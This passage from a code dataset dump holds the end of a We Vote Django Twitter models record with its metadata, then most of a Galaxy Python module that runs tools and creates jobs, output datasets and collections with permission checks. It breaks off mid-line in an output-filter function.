followed')\n\n\n# This is a we vote copy (for speed) of Twitter handles that follow me. We should have self-healing scripts that set up\n# entries in TwitterWhoIFollow for everyone following someone in the We Vote network, so this table could be flushed\n# and rebuilt at any time\nclass TwitterWhoFollowMe(models.Model):\n handle_of_me = models.CharField(max_length=15, verbose_name='from this twitter handle\\'s perspective...')\n handle_that_follows_me = models.CharField(max_length=15, verbose_name='twitter handle of this tweet\\'s author')\n", "sub_path": "twitter/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 19977, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.models.Model", "line_number": 12, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.BigIntegerField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 36, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "import_export_twitter.functions.retrieve_twitter_user_info", "line_number": 53, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 76, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 188, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 192, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 193, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 194, "usage_type": "call"}, {"api_name": "wevote_functions.functions.positive_value_exists", "line_number": 196, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 337, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 337, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 343, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 343, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 346, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 346, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 348, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 348, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 349, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 349, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 352, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 352, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 356, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 356, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 360, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 360, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 365, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 365, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 369, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 369, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 373, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 373, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 374, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 374, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 380, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 380, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 381, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 381, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 382, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 382, "usage_type": "name"}]} {"seq_id": "553186946", "text": "import json\nimport logging\nimport re\nfrom json import dumps\n\nfrom six import string_types\n\nfrom galaxy import model\nfrom galaxy.exceptions import ObjectInvalid\nfrom galaxy.model import LibraryDatasetDatasetAssociation\nfrom galaxy.tools.parameters import update_param\nfrom galaxy.tools.parameters.basic import DataCollectionToolParameter, DataToolParameter, RuntimeValue\nfrom galaxy.tools.parameters.wrapped import WrappedParameters\nfrom galaxy.util import ExecutionTimer\nfrom galaxy.util.none_like import NoneDataset\nfrom galaxy.util.odict import odict\nfrom galaxy.util.template import fill_template\nfrom galaxy.web import url_for\n\nlog = logging.getLogger( __name__ )\n\n\nclass ToolExecutionCache( object ):\n \"\"\" An object mean to cache calculation caused by repeatedly evaluting\n the same tool by the same user with slightly different parameters.\n \"\"\"\n def __init__(self, trans):\n self.trans = trans\n self.current_user_roles = trans.get_current_user_roles()\n\n\nclass ToolAction( object ):\n \"\"\"\n The actions to be taken when a tool is run (after parameters have\n been converted and validated).\n \"\"\"\n def execute( self, tool, trans, incoming={}, set_output_hid=True ):\n raise TypeError(\"Abstract method\")\n\n\nclass DefaultToolAction( object ):\n \"\"\"Default tool action is to run an external command\"\"\"\n\n def collect_input_datasets( self, tool, param_values, trans, current_user_roles=None ):\n \"\"\"\n Collect any dataset inputs from incoming. Returns a mapping from\n parameter name to Dataset instance for each tool parameter that is\n of the DataToolParameter type.\n \"\"\"\n if current_user_roles is None:\n current_user_roles = trans.get_current_user_roles()\n input_datasets = odict()\n\n def visitor( input, value, prefix, parent=None, **kwargs ):\n\n def process_dataset( data, formats=None ):\n if not data or isinstance( data, RuntimeValue ):\n return None\n if formats is None:\n formats = input.formats\n if not data.datatype.matches_any( formats ):\n # Need to refresh in case this conversion just took place, i.e. input above in tool performed the same conversion\n trans.sa_session.refresh( data )\n target_ext, converted_dataset = data.find_conversion_destination( formats )\n if target_ext:\n if converted_dataset:\n data = converted_dataset\n else:\n data = data.get_converted_dataset( trans, target_ext, target_context=parent )\n\n if not trans.app.security_agent.can_access_dataset( current_user_roles, data.dataset ):\n raise Exception( \"User does not have permission to use a dataset (%s) provided for input.\" % data.id )\n return data\n if isinstance( input, DataToolParameter ):\n if isinstance( value, list ):\n # If there are multiple inputs with the same name, they\n # are stored as name1, name2, ...\n for i, v in enumerate( value ):\n processed_dataset = process_dataset( v )\n if i == 0:\n # Allow copying metadata to output, first item will be source.\n input_datasets[ prefix + input.name ] = processed_dataset\n input_datasets[ prefix + input.name + str( i + 1 ) ] = processed_dataset\n conversions = []\n for conversion_name, conversion_extensions, conversion_datatypes in input.conversions:\n new_data = process_dataset( input_datasets[ prefix + input.name + str( i + 1 ) ], conversion_datatypes )\n if not new_data or new_data.datatype.matches_any( conversion_datatypes ):\n input_datasets[ prefix + conversion_name + str( i + 1 ) ] = new_data\n conversions.append( ( conversion_name, new_data ) )\n else:\n raise Exception('A path for explicit datatype conversion has not been found: %s --/--> %s' % ( input_datasets[ prefix + input.name + str( i + 1 ) ].extension, conversion_extensions ) )\n if parent:\n parent[ input.name ][ i ] = input_datasets[ prefix + input.name + str( i + 1 ) ]\n for conversion_name, conversion_data in conversions:\n # allow explicit conversion to be stored in job_parameter table\n parent[ conversion_name ][ i ] = conversion_data.id # a more robust way to determine JSONable value is desired\n else:\n param_values[ input.name ][ i ] = input_datasets[ prefix + input.name + str( i + 1 ) ]\n for conversion_name, conversion_data in conversions:\n # allow explicit conversion to be stored in job_parameter table\n param_values[ conversion_name ][i] = conversion_data.id # a more robust way to determine JSONable value is desired\n else:\n input_datasets[ prefix + input.name ] = process_dataset( value )\n conversions = []\n for conversion_name, conversion_extensions, conversion_datatypes in input.conversions:\n new_data = process_dataset( input_datasets[ prefix + input.name ], conversion_datatypes )\n if not new_data or new_data.datatype.matches_any( conversion_datatypes ):\n input_datasets[ prefix + conversion_name ] = new_data\n conversions.append( ( conversion_name, new_data ) )\n else:\n raise Exception( 'A path for explicit datatype conversion has not been found: %s --/--> %s' % ( input_datasets[ prefix + input.name ].extension, conversion_extensions ) )\n target_dict = parent\n if not target_dict:\n target_dict = param_values\n target_dict[ input.name ] = input_datasets[ prefix + input.name ]\n for conversion_name, conversion_data in conversions:\n # allow explicit conversion to be stored in job_parameter table\n target_dict[ conversion_name ] = conversion_data.id # a more robust way to determine JSONable value is desired\n elif isinstance( input, DataCollectionToolParameter ):\n if not value:\n return\n\n dataset_instances = []\n if hasattr( value, 'child_collection' ):\n # if we are mapping a collection over a tool, we only require the child_collection\n dataset_instances = value.child_collection.dataset_instances\n else:\n # else the tool takes a collection as input so we need everything\n dataset_instances = value.collection.dataset_instances\n\n for i, v in enumerate( dataset_instances ):\n data = v\n if not trans.app.security_agent.can_access_dataset( current_user_roles, data.dataset ):\n raise Exception( \"User does not have permission to use a dataset (%s) provided for input.\" % data.id )\n # Skipping implicit conversion stuff for now, revisit at\n # some point and figure out if implicitly converting a\n # dataset collection makes senese.\n input_datasets[ prefix + input.name + str( i + 1 ) ] = data\n\n tool.visit_inputs( param_values, visitor )\n return input_datasets\n\n def collect_input_dataset_collections( self, tool, param_values ):\n def append_to_key( the_dict, key, value ):\n if key not in the_dict:\n the_dict[ key ] = []\n the_dict[ key ].append( value )\n\n input_dataset_collections = dict()\n\n def visitor( input, value, prefix, parent=None, **kwargs ):\n if isinstance( input, DataToolParameter ):\n values = value\n if not isinstance( values, list ):\n values = [ value ]\n for i, value in enumerate(values):\n if isinstance( value, model.HistoryDatasetCollectionAssociation ):\n append_to_key( input_dataset_collections, prefix + input.name, ( value, True ) )\n target_dict = parent\n if not target_dict:\n target_dict = param_values\n # This is just a DataToolParameter, so replace this\n # collection with individual datasets. Database will still\n # record collection which should be enought for workflow\n # extraction and tool rerun.\n dataset_instances = value.collection.dataset_instances\n if i == 0:\n target_dict[ input.name ] = []\n target_dict[ input.name ].extend( dataset_instances )\n elif isinstance( input, DataCollectionToolParameter ):\n append_to_key( input_dataset_collections, prefix + input.name, ( value, False ) )\n\n tool.visit_inputs( param_values, visitor )\n return input_dataset_collections\n\n def _check_access( self, tool, trans ):\n assert tool.allow_user_access( trans.user ), \"User (%s) is not allowed to access this tool.\" % ( trans.user )\n\n def _collect_inputs( self, tool, trans, incoming, history, current_user_roles ):\n \"\"\" Collect history as well as input datasets and collections. \"\"\"\n app = trans.app\n # Set history.\n if not history:\n history = tool.get_default_history_by_trans( trans, create=True )\n if history not in trans.sa_session:\n history = trans.sa_session.query( app.model.History ).get( history.id )\n\n # Track input dataset collections - but replace with simply lists so collect\n # input datasets can process these normally.\n inp_dataset_collections = self.collect_input_dataset_collections( tool, incoming )\n # Collect any input datasets from the incoming parameters\n inp_data = self.collect_input_datasets( tool, incoming, trans, current_user_roles=current_user_roles )\n\n return history, inp_data, inp_dataset_collections\n\n def execute(self, tool, trans, incoming={}, return_job=False, set_output_hid=True, history=None, job_params=None, rerun_remap_job_id=None, mapping_over_collection=False, execution_cache=None ):\n \"\"\"\n Executes a tool, creating job and tool outputs, associating them, and\n submitting the job to the job queue. If history is not specified, use\n trans.history as destination for tool's output datasets.\n \"\"\"\n self._check_access( tool, trans )\n app = trans.app\n if execution_cache is None:\n execution_cache = ToolExecutionCache(trans)\n current_user_roles = execution_cache.current_user_roles\n history, inp_data, inp_dataset_collections = self._collect_inputs(tool, trans, incoming, history, current_user_roles)\n\n # Build name for output datasets based on tool name and input names\n on_text = self._get_on_text( inp_data )\n\n # format='input\" previously would give you a random extension from\n # the input extensions, now it should just give \"input\" as the output\n # format.\n input_ext = 'data' if tool.profile < 16.04 else \"input\"\n input_dbkey = incoming.get( \"dbkey\", \"?\" )\n for name, data in reversed(inp_data.items()):\n if not data:\n data = NoneDataset( datatypes_registry=app.datatypes_registry )\n continue\n\n # Convert LDDA to an HDA.\n if isinstance(data, LibraryDatasetDatasetAssociation):\n data = data.to_history_dataset_association( None )\n inp_data[name] = data\n\n if tool.profile < 16.04:\n input_ext = data.ext\n\n if data.dbkey not in [None, '?']:\n input_dbkey = data.dbkey\n\n identifier = getattr( data, \"element_identifier\", None )\n if identifier is not None:\n incoming[ \"%s|__identifier__\" % name ] = identifier\n\n # Collect chromInfo dataset and add as parameters to incoming\n ( chrom_info, db_dataset ) = app.genome_builds.get_chrom_info( input_dbkey, trans=trans, custom_build_hack_get_len_from_fasta_conversion=tool.id != 'CONVERTER_fasta_to_len' )\n if db_dataset:\n inp_data.update( { \"chromInfo\": db_dataset } )\n incoming[ \"chromInfo\" ] = chrom_info\n\n # Determine output dataset permission/roles list\n existing_datasets = [ inp for inp in inp_data.values() if inp ]\n if existing_datasets:\n output_permissions = app.security_agent.guess_derived_permissions_for_datasets( existing_datasets )\n else:\n # No valid inputs, we will use history defaults\n output_permissions = app.security_agent.history_get_default_permissions( history )\n\n # Add the dbkey to the incoming parameters\n incoming[ \"dbkey\" ] = input_dbkey\n # wrapped params are used by change_format action and by output.label; only perform this wrapping once, as needed\n wrapped_params = self._wrapped_params( trans, tool, incoming )\n\n out_data = odict()\n input_collections = dict( (k, v[0][0]) for k, v in inp_dataset_collections.items() )\n output_collections = OutputCollections(\n trans,\n history,\n tool=tool,\n tool_action=self,\n input_collections=input_collections,\n mapping_over_collection=mapping_over_collection,\n on_text=on_text,\n incoming=incoming,\n params=wrapped_params.params,\n job_params=job_params,\n )\n\n # Keep track of parent / child relationships, we'll create all the\n # datasets first, then create the associations\n parent_to_child_pairs = []\n child_dataset_names = set()\n object_store_populator = ObjectStorePopulator( app )\n\n def handle_output( name, output, hidden=None ):\n if output.parent:\n parent_to_child_pairs.append( ( output.parent, name ) )\n child_dataset_names.add( name )\n # What is the following hack for? Need to document under what\n # conditions can the following occur? (james@bx.psu.edu)\n # HACK: the output data has already been created\n # this happens i.e. as a result of the async controller\n if name in incoming:\n dataid = incoming[name]\n data = trans.sa_session.query( app.model.HistoryDatasetAssociation ).get( dataid )\n assert data is not None\n out_data[name] = data\n else:\n ext = determine_output_format(\n output,\n wrapped_params.params,\n inp_data,\n inp_dataset_collections,\n input_ext\n )\n data = app.model.HistoryDatasetAssociation( extension=ext, create_dataset=True, flush=False )\n if hidden is None:\n hidden = output.hidden\n if hidden:\n data.visible = False\n trans.sa_session.add( data )\n trans.app.security_agent.set_all_dataset_permissions( data.dataset, output_permissions, new=True )\n\n # Must flush before setting object store id currently.\n # TODO: optimize this.\n trans.sa_session.flush()\n object_store_populator.set_object_store_id( data )\n\n # This may not be neccesary with the new parent/child associations\n data.designation = name\n # Copy metadata from one of the inputs if requested.\n\n # metadata source can be either a string referencing an input\n # or an actual object to copy.\n metadata_source = output.metadata_source\n if metadata_source:\n if isinstance( metadata_source, string_types ):\n metadata_source = inp_data.get( metadata_source )\n\n if metadata_source is not None:\n data.init_meta( copy_from=metadata_source )\n else:\n data.init_meta()\n # Take dbkey from LAST input\n data.dbkey = str(input_dbkey)\n # Set state\n data.blurb = \"queued\"\n # Set output label\n data.name = self.get_output_name( output, data, tool, on_text, trans, incoming, history, wrapped_params.params, job_params )\n # Store output\n out_data[ name ] = data\n if output.actions:\n # Apply pre-job tool-output-dataset actions; e.g. setting metadata, changing format\n output_action_params = dict( out_data )\n output_action_params.update( incoming )\n output.actions.apply_action( data, output_action_params )\n # Also set the default values of actions of type metadata\n self.set_metadata_defaults( output, data, tool, on_text, trans, incoming, history, wrapped_params.params, job_params )\n # Flush all datasets at once.\n return data\n\n for name, output in tool.outputs.items():\n if not filter_output(output, incoming):\n if output.collection:\n collections_manager = app.dataset_collections_service\n element_identifiers = []\n known_outputs = output.known_outputs( input_collections, collections_manager.type_registry )\n # Just to echo TODO elsewhere - this should be restructured to allow\n # nested collections.\n for output_part_def in known_outputs:\n # Add elements to top-level collection, unless nested...\n current_element_identifiers = element_identifiers\n current_collection_type = output.structure.collection_type\n\n for parent_id in (output_part_def.parent_ids or []):\n # TODO: replace following line with formal abstractions for doing this.\n current_collection_type = \":\".join(current_collection_type.split(\":\")[1:])\n name_to_index = dict((value[\"name\"], index) for (index, value) in enumerate(current_element_identifiers))\n if parent_id not in name_to_index:\n if parent_id not in current_element_identifiers:\n index = len(current_element_identifiers)\n current_element_identifiers.append(dict(\n name=parent_id,\n collection_type=current_collection_type,\n src=\"new_collection\",\n element_identifiers=[],\n ))\n else:\n index = name_to_index[parent_id]\n current_element_identifiers = current_element_identifiers[ index ][ \"element_identifiers\" ]\n\n effective_output_name = output_part_def.effective_output_name\n element = handle_output( effective_output_name, output_part_def.output_def, hidden=True )\n # TODO: this shouldn't exist in the top-level of the history at all\n # but for now we are still working around that by hiding the contents\n # there.\n # Following hack causes dataset to no be added to history...\n child_dataset_names.add( effective_output_name )\n\n history.add_dataset( element, set_hid=set_output_hid, quota=False )\n trans.sa_session.add( element )\n trans.sa_session.flush()\n\n current_element_identifiers.append({\n \"__object__\": element,\n \"name\": output_part_def.element_identifier,\n })\n log.info(element_identifiers)\n\n if output.dynamic_structure:\n assert not element_identifiers # known_outputs must have been empty\n element_kwds = dict(elements=collections_manager.ELEMENTS_UNINITIALIZED)\n else:\n element_kwds = dict(element_identifiers=element_identifiers)\n\n output_collections.create_collection(\n output=output,\n name=name,\n **element_kwds\n )\n else:\n handle_output_timer = ExecutionTimer()\n handle_output( name, output )\n log.info(\"Handled output named %s for tool %s %s\" % (name, tool.id, handle_output_timer))\n\n add_datasets_timer = ExecutionTimer()\n # Add all the top-level (non-child) datasets to the history unless otherwise specified\n datasets_to_persist = []\n for name in out_data.keys():\n if name not in child_dataset_names and name not in incoming: # don't add children; or already existing datasets, i.e. async created\n data = out_data[ name ]\n datasets_to_persist.append( data )\n # Set HID and add to history.\n # This is brand new and certainly empty so don't worry about quota.\n # TOOL OPTIMIZATION NOTE - from above loop to the job create below 99%+\n # of execution time happens within in history.add_datasets.\n history.add_datasets( trans.sa_session, datasets_to_persist, set_hid=set_output_hid, quota=False, flush=False )\n\n # Add all the children to their parents\n for parent_name, child_name in parent_to_child_pairs:\n parent_dataset = out_data[ parent_name ]\n child_dataset = out_data[ child_name ]\n parent_dataset.children.append( child_dataset )\n\n log.info(\"Added output datasets to history %s\" % add_datasets_timer)\n job_setup_timer = ExecutionTimer()\n # Create the job object\n job, galaxy_session = self._new_job_for_session( trans, tool, history )\n self._record_inputs( trans, tool, job, incoming, inp_data, inp_dataset_collections, current_user_roles )\n self._record_outputs( job, out_data, output_collections )\n job.object_store_id = object_store_populator.object_store_id\n if job_params:\n job.params = dumps( job_params )\n job.set_handler(tool.get_job_handler(job_params))\n trans.sa_session.add( job )\n # Now that we have a job id, we can remap any outputs if this is a rerun and the user chose to continue dependent jobs\n # This functionality requires tracking jobs in the database.\n if app.config.track_jobs_in_database and rerun_remap_job_id is not None:\n try:\n old_job = trans.sa_session.query( app.model.Job ).get(rerun_remap_job_id)\n assert old_job is not None, '(%s/%s): Old job id is invalid' % (rerun_remap_job_id, job.id)\n assert old_job.tool_id == job.tool_id, '(%s/%s): Old tool id (%s) does not match rerun tool id (%s)' % (old_job.id, job.id, old_job.tool_id, job.tool_id)\n if trans.user is not None:\n assert old_job.user_id == trans.user.id, '(%s/%s): Old user id (%s) does not match rerun user id (%s)' % (old_job.id, job.id, old_job.user_id, trans.user.id)\n elif trans.user is None and type( galaxy_session ) == trans.model.GalaxySession:\n assert old_job.session_id == galaxy_session.id, '(%s/%s): Old session id (%s) does not match rerun session id (%s)' % (old_job.id, job.id, old_job.session_id, galaxy_session.id)\n else:\n raise Exception('(%s/%s): Remapping via the API is not (yet) supported' % (old_job.id, job.id))\n # Duplicate PJAs before remap.\n for pjaa in old_job.post_job_actions:\n job.add_post_job_action(pjaa.post_job_action)\n for jtod in old_job.output_datasets:\n for (job_to_remap, jtid) in [(jtid.job, jtid) for jtid in jtod.dataset.dependent_jobs]:\n if (trans.user is not None and job_to_remap.user_id == trans.user.id) or (trans.user is None and job_to_remap.session_id == galaxy_session.id):\n if job_to_remap.state == job_to_remap.states.PAUSED:\n job_to_remap.state = job_to_remap.states.NEW\n for hda in [ dep_jtod.dataset for dep_jtod in job_to_remap.output_datasets ]:\n if hda.state == hda.states.PAUSED:\n hda.state = hda.states.NEW\n hda.info = None\n input_values = dict( [ ( p.name, json.loads( p.value ) ) for p in job_to_remap.parameters ] )\n update_param( jtid.name, input_values, str( out_data[ jtod.name ].id ) )\n for p in job_to_remap.parameters:\n p.value = json.dumps( input_values[ p.name ] )\n jtid.dataset = out_data[jtod.name]\n jtid.dataset.hid = jtod.dataset.hid\n log.info('Job %s input HDA %s remapped to new HDA %s' % (job_to_remap.id, jtod.dataset.id, jtid.dataset.id))\n trans.sa_session.add(job_to_remap)\n trans.sa_session.add(jtid)\n jtod.dataset.visible = False\n trans.sa_session.add(jtod)\n except Exception:\n log.exception('Cannot remap rerun dependencies.')\n\n log.info(\"Setup for job %s complete, ready to flush %s\" % (job.log_str(), job_setup_timer))\n\n job_flush_timer = ExecutionTimer()\n trans.sa_session.flush()\n log.info(\"Flushed transaction for job %s %s\" % (job.log_str(), job_flush_timer))\n # Some tools are not really executable, but jobs are still created for them ( for record keeping ).\n # Examples include tools that redirect to other applications ( epigraph ). These special tools must\n # include something that can be retrieved from the params ( e.g., REDIRECT_URL ) to keep the job\n # from being queued.\n if 'REDIRECT_URL' in incoming:\n # Get the dataset - there should only be 1\n for name in inp_data.keys():\n dataset = inp_data[ name ]\n redirect_url = tool.parse_redirect_url( dataset, incoming )\n # GALAXY_URL should be include in the tool params to enable the external application\n # to send back to the current Galaxy instance\n GALAXY_URL = incoming.get( 'GALAXY_URL', None )\n assert GALAXY_URL is not None, \"GALAXY_URL parameter missing in tool config.\"\n redirect_url += \"&GALAXY_URL=%s\" % GALAXY_URL\n # Job should not be queued, so set state to ok\n job.set_state( app.model.Job.states.OK )\n job.info = \"Redirected to: %s\" % redirect_url\n trans.sa_session.add( job )\n trans.sa_session.flush()\n trans.response.send_redirect( url_for( controller='tool_runner', action='redirect', redirect_url=redirect_url ) )\n else:\n # Put the job in the queue if tracking in memory\n app.job_queue.put( job.id, job.tool_id )\n trans.log_event( \"Added job to the job queue, id: %s\" % str(job.id), tool_id=job.tool_id )\n return job, out_data\n\n def _wrapped_params( self, trans, tool, incoming ):\n wrapped_params = WrappedParameters( trans, tool, incoming )\n return wrapped_params\n\n def _get_on_text( self, inp_data ):\n input_names = []\n for name, data in reversed( inp_data.items() ):\n if getattr( data, \"hid\", None ):\n input_names.append( 'data %s' % data.hid )\n\n return on_text_for_names( input_names )\n\n def _new_job_for_session( self, trans, tool, history ):\n job = trans.app.model.Job()\n galaxy_session = None\n\n if hasattr( trans, \"get_galaxy_session\" ):\n galaxy_session = trans.get_galaxy_session()\n # If we're submitting from the API, there won't be a session.\n if type( galaxy_session ) == trans.model.GalaxySession:\n job.session_id = galaxy_session.id\n if trans.user is not None:\n job.user_id = trans.user.id\n job.history_id = history.id\n job.tool_id = tool.id\n try:\n # For backward compatibility, some tools may not have versions yet.\n job.tool_version = tool.version\n except:\n job.tool_version = \"1.0.0\"\n return job, galaxy_session\n\n def _record_inputs( self, trans, tool, job, incoming, inp_data, inp_dataset_collections, current_user_roles ):\n # FIXME: Don't need all of incoming here, just the defined parameters\n # from the tool. We need to deal with tools that pass all post\n # parameters to the command as a special case.\n for name, dataset_collection_info_pairs in inp_dataset_collections.items():\n first_reduction = True\n for ( dataset_collection, reduced ) in dataset_collection_info_pairs:\n # TODO: update incoming for list...\n if reduced and first_reduction:\n first_reduction = False\n incoming[ name ] = []\n if reduced:\n incoming[ name ].append( { 'id': dataset_collection.id, 'src': 'hdca' } )\n # Should verify security? We check security of individual\n # datasets below?\n # TODO: verify can have multiple with same name, don't want to loose tracability\n job.add_input_dataset_collection( name, dataset_collection )\n for name, value in tool.params_to_strings( incoming, trans.app ).items():\n job.add_parameter( name, value )\n self._check_input_data_access( trans, job, inp_data, current_user_roles )\n\n def _record_outputs( self, job, out_data, output_collections ):\n out_collections = output_collections.out_collections\n out_collection_instances = output_collections.out_collection_instances\n for name, dataset in out_data.items():\n job.add_output_dataset( name, dataset )\n for name, dataset_collection in out_collections.items():\n job.add_implicit_output_dataset_collection( name, dataset_collection )\n for name, dataset_collection_instance in out_collection_instances.items():\n job.add_output_dataset_collection( name, dataset_collection_instance )\n\n def _check_input_data_access( self, trans, job, inp_data, current_user_roles ):\n access_timer = ExecutionTimer()\n for name, dataset in inp_data.items():\n if dataset:\n if not trans.app.security_agent.can_access_dataset( current_user_roles, dataset.dataset ):\n raise Exception(\"User does not have permission to use a dataset (%s) provided for input.\" % dataset.id)\n if dataset in trans.sa_session:\n job.add_input_dataset( name, dataset=dataset )\n else:\n job.add_input_dataset( name, dataset_id=dataset.id )\n else:\n job.add_input_dataset( name, None )\n job_str = job.log_str()\n log.info(\"Verified access to datasets for %s %s\" % (job_str, access_timer))\n\n def get_output_name( self, output, dataset, tool, on_text, trans, incoming, history, params, job_params ):\n if output.label:\n params['tool'] = tool\n params['on_string'] = on_text\n return fill_template( output.label, context=params )\n else:\n return self._get_default_data_name( dataset, tool, on_text=on_text, trans=trans, incoming=incoming, history=history, params=params, job_params=job_params )\n\n def set_metadata_defaults( self, output, dataset, tool, on_text, trans, incoming, history, params, job_params ):\n \"\"\"\n This allows to map names of input files to metadata default values. Example:\n\n <data format=\"tabular\" name=\"output\" label=\"Tabular output, aggregates data from individual_inputs\" >\n <actions>\n <action name=\"column_names\" type=\"metadata\" default=\"${','.join([input.name for input in $individual_inputs ])}\" />\n </actions>\n </data>\n \"\"\"\n if output.actions:\n for action in output.actions.actions:\n if action.tag == \"metadata\" and action.default:\n metadata_new_value = fill_template( action.default, context=params ).split(\",\")\n dataset.metadata.__setattr__(str(action.name), metadata_new_value)\n\n def _get_default_data_name( self, dataset, tool, on_text=None, trans=None, incoming=None, history=None, params=None, job_params=None, **kwd ):\n name = tool.name\n if on_text:\n name += ( \" on \" + on_text )\n return name\n\n\nclass ObjectStorePopulator( object ):\n \"\"\" Small helper for interacting with the object store and making sure all\n datasets from a job end up with the same object_store_id.\n \"\"\"\n\n def __init__( self, app ):\n self.object_store = app.object_store\n self.object_store_id = None\n\n def set_object_store_id( self, data ):\n # Create an empty file immediately. The first dataset will be\n # created in the \"default\" store, all others will be created in\n # the same store as the first.\n data.dataset.object_store_id = self.object_store_id\n try:\n self.object_store.create( data.dataset )\n except ObjectInvalid:\n raise Exception('Unable to create output dataset: object store is full')\n self.object_store_id = data.dataset.object_store_id # these will be the same thing after the first output\n\n\nclass OutputCollections(object):\n \"\"\" Keeps track of collections (DC or HDCA) created by actions.\n\n Actions do fairly different things depending on whether we are creating\n just part of an collection or a whole output collection (mapping_over_collection\n parameter).\n \"\"\"\n\n def __init__(self, trans, history, tool, tool_action, input_collections, mapping_over_collection, on_text, incoming, params, job_params):\n self.trans = trans\n self.history = history\n self.tool = tool\n self.tool_action = tool_action\n self.input_collections = input_collections\n self.mapping_over_collection = mapping_over_collection\n self.on_text = on_text\n self.incoming = incoming\n self.params = params\n self.job_params = job_params\n self.out_collections = {}\n self.out_collection_instances = {}\n\n def create_collection(self, output, name, **element_kwds):\n input_collections = self.input_collections\n collections_manager = self.trans.app.dataset_collections_service\n collection_type = output.structure.collection_type\n if collection_type is None:\n collection_type_source = output.structure.collection_type_source\n if collection_type_source is None:\n # TODO: Not a new problem, but this should be determined\n # sooner.\n raise Exception(\"Could not determine collection type to create.\")\n if collection_type_source not in input_collections:\n raise Exception(\"Could not find collection type source with name [%s].\" % collection_type_source)\n\n collection_type = input_collections[collection_type_source].collection.collection_type\n\n if self.mapping_over_collection:\n dc = collections_manager.create_dataset_collection(\n self.trans,\n collection_type=collection_type,\n **element_kwds\n )\n self.out_collections[ name ] = dc\n else:\n hdca_name = self.tool_action.get_output_name(\n output,\n None,\n self.tool,\n self.on_text,\n self.trans,\n self.incoming,\n self.history,\n self.params,\n self.job_params,\n )\n hdca = collections_manager.create(\n self.trans,\n self.history,\n name=hdca_name,\n collection_type=collection_type,\n trusted_identifiers=True,\n **element_kwds\n )\n # name here is name of the output element - not name\n # of the hdca.\n self.out_collection_instances[ name ] = hdca\n\n\ndef on_text_for_names( input_names ):\n # input_names may contain duplicates... this is because the first value in\n # multiple input dataset parameters will appear twice once as param_name\n # and once as param_name1.\n unique_names = []\n for name in input_names:\n if name not in unique_names:\n unique_names.append( name )\n input_names = unique_names\n\n # Build name for output datasets based on tool name and input names\n if len( input_names ) == 1:\n on_text = input_names[0]\n elif len( input_names ) == 2:\n on_text = '%s and %s' % tuple(input_names[0:2])\n elif len( input_names ) == 3:\n on_text = '%s, %s, and %s' % tuple(input_names[0:3])\n elif len( input_names ) > 3:\n on_text = '%s, %s, and others' % tuple(input_names[0:2])\n else:\n on_text = \"\"\n return on_text\n\n\ndef filter_output(output, incoming):\n for filter in output.filters:\n try:\n if not eval( filter.text.strip(), 